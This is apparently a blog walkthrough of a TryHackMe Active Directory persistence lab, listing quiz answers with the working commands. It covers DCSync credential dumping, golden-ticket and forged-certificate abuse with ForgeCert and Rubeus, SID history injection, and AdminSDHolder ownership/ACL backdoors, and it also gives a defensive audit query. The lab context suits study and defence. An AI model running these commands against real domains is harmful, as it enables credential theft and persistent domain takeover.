TL;DR walkthrough of the Persisting Active Directory room, and discussion of a TTP they missed.
A full list of our TryHackMe walkthroughs and cheatsheets is here.
Background
This is the last room in TryHackMe’s Active Directory series. I am more into enumerating, moving around, abusing misconfigurations, and escalating than persisting so this room was new to me.
As before I will lead with the questions & answers for each section.
— — Task 1 — -
Download the OVPN file from https://tryhackme.com/r/access and RDP.
xfreerdp /v:10.200.61.248 /u:Administrator /p:tryhackmewouldnotguess1@ /dynamic-resolution
As with the rest of this AD series, keep an eye on the vote to reset the room. If the room resets then you may have to re-generate the OVPN file.
— — Task 2 — -
What is the Mimikatz command to perform a DCSync for the username of test on the za.tryhackme.loc domain?
lsadump::dcsync /domain:za.tryhackme.loc /user:test
What is the NTLM hash associated with the krbtgt user?
python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -just-dc Administrator:tryhackmewouldnotguess1\@@10.200.61.101
16f9af38fca3ada405386b3b57366082
On a related sidenote; I learned a new trick thanks to THM’s wonky VMs in this room. I dumped the parent domain’s hashes using the Volume Shadow Copy Service.
python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -just-dc –use-vss Administrator:tryhackmewouldnotguess1\@@10.200.61.100
— — Task 3 — -
Which AD account’s NTLM hash is used to sign Kerberos tickets?
krbtgt
What is the name of a ticket that impersonates a legitimate TGT?
Golden Ticket
What is the name of a ticket that impersonates a legitimate TGS?
Silver Ticket
What is the default lifetime (in years) of a golden ticket generated by Mimikatz?
10
We first covered Golden Tickets for maintaining persistence here and covered forging a ticket to escalate to a trusting domain here. Hence I won’t re-hash it again here.
— — Task 4 — -
What key is used to sign certificates to prove their authenticity?
private key
What application can we use to forge a certificate if we have the CA certificate and private key?
ForgeCert.exe
What is the Mimikatz command to pass a ticket from a file with the name of ticket.kirbi?
kerberos::ptt ticket.kirbi
xfreerdp /v:10.200.61.101 /u:Administrator /p:tryhackmewouldnotguess1@ /dynamic-resolution
#Copy/paste Invoke-Mimikatz from our Kali VM to THMDC
. C:\Tools\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"crypto::certificates /systemstore:local_machine"'
Invoke-Mimikatz -Command '"privilege::debug" "crypto::capi" "crypto::cng"'
Invoke-Mimikatz -Command '"crypto::certificates /systemstore:local_machine /export"'
cd /home/kali/Downloads/Pilfered/BreachingAD
evi-winrm -i 10.200.61.101 -u Administrator -p tryhackmewouldnotguess1@
Set-Location C:\UsersAdministrator
Get-ChildItem #copy/paste the *za-THMDC-CA.pfx filename
download local_machine_My_1_za-THMDC-CA.pfx
#We can now forge certificates while logged in as a mere Domain User.
xfreerdp /v:10.200.61.248 /u:barbara.reid /p:Password1 /dynamic-resolution
#Copy/paste the *.pfx file to Barbara Reid's Desktop
Set-Location C:\Users\barbara.reid\Desktop
C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath local_machine_My_1_za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.61.101
— — Task 5 — -
What AD object attribute is normally used to specify SIDs from the object’s previous domain to allow seamless migration to a new domain?
sidhistory
What is the database file on the domain controller that stores all AD information?
NTDS.dit
What is the PowerShell command to restart the ntds service after we injected our SID history values?
Start-Service -Name ntds
xfreerdp /v:10.200.61.101 /u:Administrator /p:tryhackmewouldnotguess1@ /dynamic-resolution
$SID = (Get-ADGroup "Domain Admins" -Properties *).SID
Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName "barbara.reid" -SidHistory $SID -DatabasePath C:\Windows\NTDS\ntds.dit
Start-Service -Name ntds
Verify
xfreerdp /v:10.200.61.248 /u:barbara.reid /p:Password1 /dynamic-resolution
Get-ADUser $env:USERNAME -Properties * | Select-Object SamAccountName, SID, SIDHistory
$Group = (Get-ADUser $env:USERNAME -Properties *).SIDHistory
(Get-ADGroup -Filter * -Properties * | Where-Object {$_.SID -like $Group}).SamAccountName
Get-ChildItem '\\THMDC.za.tryhackme.loc\C$\Users'
— — Task 6 — -
What is the term used to describe AD groups that are members of other AD groups?
Group Nesting
What is the command to add a new member, thmtest, to the AD group, thmgroup?
Add-ADGroupMember -Identity thmgroup -Members thmtest
We have done a ton of querying and auditing group membership already. Just know that to quickly pull all members of a group, including nested ones:
(Get-ADGroupMember -Identity “Testing” -Recursive).SamAccountName
To get all groups that a given user is a member of, including nested ones, use Get-ADUserNestedGroups.
This is not all that great of a persistence mechanism IMHO.
— — Task 7 — -
What AD group’s ACLs are used as a template for the ACLs of all Protected Groups?
AdminSDHolder
What AD service updates the ACLs of all Protected Groups to match that of the template?
SDProp (They’re wrong, but that’s the right answer on THM)
What ACL permission allows the user to perform any action on the AD object?
Full Control (if you’re in the GU. In PowerShell it’s GenericAll)
There’s a sneakier way to do this; make Barbara the AdminSDHolder’s owner.
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName
$target = (Get-ADObject "cn=AdminSDHOlder,cn=System,$ADRoot").DistinguishedName
$acl = Get-Acl $target
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser "barbara.reid").SID
$acl.SetOwner($user)
Set-ACL $target $acl
#Verify
(Get-Acl $target).Owner
Now she can give herself GenericAll, GenericWrite, etc whenever she wants.
xfreerdp /v:10.200.61.248 /u:barbara.reid /p:Password1 /dynamic-resolution
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName
#Give a group GenericAll, aka Full Control, over the AdminSDHolder
$victim = (Get-ADObject "cn=AdminSDHOlder,cn=System,$ADRoot").DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity "barbara.reid").SID
#Allow GenericAll
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"GenericAll","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl
#Verify
(Get-Acl $victim).Access | Where-Object {$_.IdentityReference -like "*barbara.reid*"}
Now she can simply wait a few for AdminSDHolder to update and add herself to Domain Admins.
JMHO, but changing the ownership of the domain root or AdminSDHolder may be one of the better persistence mechanisms listed here. It also won’t break anything and can be undone later.
Changing the owner doesn’t change the DACL, it only gives the new owner the ability to later at a time of their choosing. Many auditing tools don’t seem to track this either, they only check the DACL. They sometimes don’t do a very good job of even checking that.
Auditing for this
I consider the change of ownership of HVT groups in AD serious enough to warrant a sidenote on auditing for it.
One can check their entire AD to see if anything is set to a non-default owner with this query.
Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName
$ADCS_Objects = (Get-ADObject -Filter * -SearchBase $ADRoot).DistinguishedName
$Safe_Users = "Domain Admins|BUILTIN\\Administrators|NT AUTHORITY\\SYSTEM"
ForEach ($object in $ADCS_Objects)
{
$BadOwner = (Get-Acl $object -ErrorAction SilentlyContinue).Owner -notmatch $Safe_Users
If ($BadOwner)
{
Write-Host "Object: $object" -ForegroundColor Red
(Get-Acl $object -ErrorAction SilentlyContinue).Owner
}
}
We have a query for checking delegation of privilege via DACL changes against a whitelist of groups that should hold those rights here.
— — Task 8 — -
What MMC snap-in can be used to manage GPOs?
Group Policy Management
What sub-GPO is used to grant users and groups access to local groups on the hosts that the GPO applies to?
Restricted Groups
What tab is used to modify the security permissions that users and groups have on the GPO?
Delegation
GPOs are stored in
$ADRoot = (Get-ADDomain).DistinguishedName
cn=policies,cn=system,$ADRoot
They are labeled by GUID and stored in XML format. We went over auditing their delegation here. We went over one way to scrub them looking for a specific thing here. In that case it was looking for Domain groups that had been made local admins by a prior system administrator who was kind of sloppy and didn’t document anything.
Querying and auditing GPOs is not super intuitive so they are probably a pretty good place to hide.
Get-ADObject -Filter * -SearchBase “cn=policies,cn=system,$ADRoot” -Properties * | Select-Object ObjectGUID, DisplayName, Name
Summary
Microsoft has been confusing before in their documentation, so it’s understandable that TryHackMe got a question wrong here. The AdminSDHolder and SDProp are not really related.
- SDProp runs anytime a DACL or a DistinguishedName changes.
- AdminSDHolder runs on a timer.
By default AdminSDHolder runs every hour. Microsoft does not recommend changing this.
Ned Pyle does a great job of explaining this here if you want to know more, and has a much better sense of humor then I do.
AdminSDHolder sets the DACLs on protected objects. It does not stop someone from temporarily changing a DACL on a protected object if they are the owner of that object. An interesting persistence mechanism would be to set an account the attacker controls as the owner on the domain root. They could then modify its DACL at a time of their choosing, give themselves DCSync rights, and dump hashes.
JMHO on another sidenote, and I’ve been guilty of this too, it’s best to specify “DACL” and not just say “ACL” in the context of AD security. This is because of the existence of SACLs.
- DACLs specify what a given IdentityReference can do in AD.
- What actions they took are logged according to the SACL.
There is another persistence TTP that TryHackMe left out of this room; hidden objects. This TTP only hides an account, an attacker still has to pair it with something like ownership of a HVT object, DCSync rights, etc.
Overall though this was another good room in TryHackMe’s Active Directory series. It’s another reminder too that eventually I should get around to spinning up AD CS on test.local.
References
ForgeCert: https://github.com/GhostPack/ForgeCert
Well known SIDs in AD: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers
Get-ADNestedGroups: https://blog.tofte-it.dk/powershell-get-all-nested-groups-for-a-user-in-active-directory/
Volume Shadow Copy Service: https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
AdminSDHolder & SDProp: https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/five-common-questions-about-adminsdholder-and-sdprop/ba-p/396293